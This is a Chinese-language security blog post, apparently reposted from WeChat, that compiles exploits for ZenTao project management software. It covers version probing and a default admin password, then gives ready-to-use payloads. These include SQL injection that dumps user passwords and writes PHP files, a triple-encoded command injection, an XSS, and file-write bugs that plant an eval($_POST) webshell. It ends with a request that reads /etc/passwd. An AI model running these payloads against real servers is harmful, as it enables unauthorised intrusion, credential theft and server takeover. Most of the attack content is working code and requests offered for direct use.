禅道cms漏洞总结

admin 2023年5月9日16:20:49评论288 views字数 3297阅读10分59秒阅读模式
禅道cms漏洞总结
点击上方蓝字  关注安全知识

禅道cms漏洞总结


禅道 项目管理软件 是国产的开源项目管理软件,专注研发项目管理,内置需求管理、任务管理、bug管理、缺陷管理、用例管理、计划发布等功能,实现了软件的完整生命周期管理。



01


查看当前版本


/index.php?mode=getconfig

禅道cms漏洞总结

02



获取绝对路径

直接在域名后面随便输入什么就会爆出绝对路径。

禅道cms漏洞总结

03



路由介绍


禅道里有两种类型的路由,分别对应者两种不同的url访问方式

PATH_INFO:以伪静态形式在html名称中传参

user-login-L3plbnRhb3BtczEwLjMuMS93d3cv.html

GET:类似于其他常规cms在get参数中传参

index.php?m=block&f=main&mode=getblockdata


04



弱口令


禅道后台管理员admin的密码默认为123456,但是登陆后台后如果检测到密码强度过低的话,所有页面都会重定向到改密码的页面.


05



前台注入


版本:8.2 - 9.2.1

请求的时候加了一个单引号,并且加上referer

/index.php?m=block&f=main&mode=getblockdata&blockid=case&param=eyJvcmRlckJ5Ijoib3JkZXIgbGltaXQgMSwxJyIsIm51bSI6IjEsMSIsInR5cGUiOiJvcGVuZWRieW1lIn0=

其中参数param经过base64解码得到

{"orderBy":"order limit 1,1'","num":"1,1","type":"openedbyme"}


禅道cms漏洞总结

报错显示数据库名

/index.php?m=block&f=main&mode=getblockdata&blockid=case&param=eyJvcmRlckJ5Ijoib3JkZXIgbGltaXQgMSwxIFBST0NFRFVSRSBBTkFMWVNFKHBvbHlnb24oaWQpLDEpIyIsIm51bSI6IjEsMSIsInR5cGUiOiJvcGVuZWRieW1lIn0

参数param base64解码

{"orderBy":"order limit 1,1 PROCEDURE ANALYSE(polygon(id),1)#","num":"1,1","type":"op

禅道cms漏洞总结

写shell

当程序的requestType为PATH_INFO时,利用代码为

http://test.com/block-main.html?mode=getblockdata&blockid=task&param=eyJhY2NvdW50IjoiYWRtaW4WQ9LTEgVU5JT04gU0VMRUNUIDEsMiwzLDQsNSw2LGFjY291bnQsOCw5LHBhc3N3b3JkLDEsMiwzLDQsNSw2LDcsOCw5LDAsMSwyLDMsNCw1LDYsNyw4LDksMCwxLDIsMyw0LDUsNiw3LDggRlJPTSB6dF91c2VyIyJ

当程序的requestType为GET时,利用代码为

index.php?m=block&f=main&mode=getblockdata&blockid=case&param=eyJvcmRlckJ5Ijoib3JkZXIgbGltaXQgMSwxO3NlbGVjdCAnPD9waHAgcGhwaW5mbycgaW50byBvdXRmaWxlICdkOi9lLnBocCcjIiwibnVtIjoiMSwxIiwidHlwZSI6Im9wZW5lZGJ5bWUifQ==

参数param为一段json的base64编码,解码之后就是

{"orderBy":"order limit 1,1;select '<?php phpinfo' into outfile '/opt/zbox/app/zentao/shell.php'#","num":"1,1","type":"openedbyme"}



06



后台命令执行


版本:10.3.1

禅道的路由是通过 xxx-xxx-xxx.html 的方式传递进去。利用时候需要把payload进行3次url编码才可以进去路由 。

payload:

api-getModel-svn-getRepoLogs-repo=test,fromRevision=%252526ipconfig%252526.html

也可以写入文件

api-getModel-svn-getRepoLogs-repo=test,fromRevision=%252526echo%252520test%25253et1.php%252526.html


07



前台XSS


版本:<10.3.1

payload:

misc-checkUpdate.html?note=PG9iamVjdCBkYXRhPSJkYXRhOnRleHQvaHRtbDtiYXNlNjQsUEhOamNtbHdkRDVoYkdWeWRDZ3hLVHd2YzJOeWFYQjBQZz09Ij4=&br

禅道cms漏洞总结


08



任意文件写入


条件:需要登录

版本:开源版 7.3,专业版4.7.1 以及之前版本

payload:

<img src="data:image/php;base64,PD9waHAgZXZhbCgkX1BPU1RbdG1kXSk/Pg=="    />

为了满足正则表达式,引号之后要多加几个空格。

数据包:

POST /official/ZenTaoPMS.Pro4.7.1/zentaopms/www/file-ajaxPasteImage.html HTTP/1.1Host: 127.0.0.1User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.85 Safari/537.36
editor=<img src="data:image/php;base64,PD9waHAgZXZhbCgkX1BPU1RbdG1kXSk/Pg==" /

返回包中包含shell路径


09


后台任意文件读取写入


版本:5.2 ,5.3 ,6.2

漏洞点:后台 -> 扩展 -> 编辑器&API ->  后台管理 -> 新增方法

/index.php?m=editor&f=index&type=editor

禅道cms漏洞总结

这里新增方法的时候,其实会写到限定目录的,该目录无法访问,即使成功写也无法利用。但是我们能跳出它的限制
POST /zd/www/index.php?m=editor&f=save&filePath=L3Zhci93d3cvemQvd3d3L2RhdGEvdXBsb2FkLzEucGhw&action=newPage HTTP/1.1Host: 172.16.0.128:81User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:32.0) Gecko/20100101 Firefox/32.0
fileContent=<?php@eval($_POST['test']);?>

参数filePath是目标文件的base64的编码值,这里只要修改为可读可写的目录就可以了。

读文件

GET /zd/www/index.php?m=editor&f=edit&filePath=L2V0Yy9wYXNzd2Q=&action=override&isExtends= HTTP/1.1Host: 172.16.0.128:81User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:32.0) Gecko/20100101 Firefox/32.0

禅道cms漏洞总结

注:以上内容均来自互联网,侵权联系删文。。



往期精选



围观

PHP代码审计学习

丨更多

热文

浅谈应急响应

丨更多

·end·

—如果喜欢,快分享给你的朋友们吧—

我们一起愉快的玩耍吧



原文始发于微信公众号(Rot5pider安全团队):禅道cms漏洞总结

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年5月9日16:20:49
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   禅道cms漏洞总结http://cn-sec.com/archives/1720257.html

发表评论

匿名网友 填写信息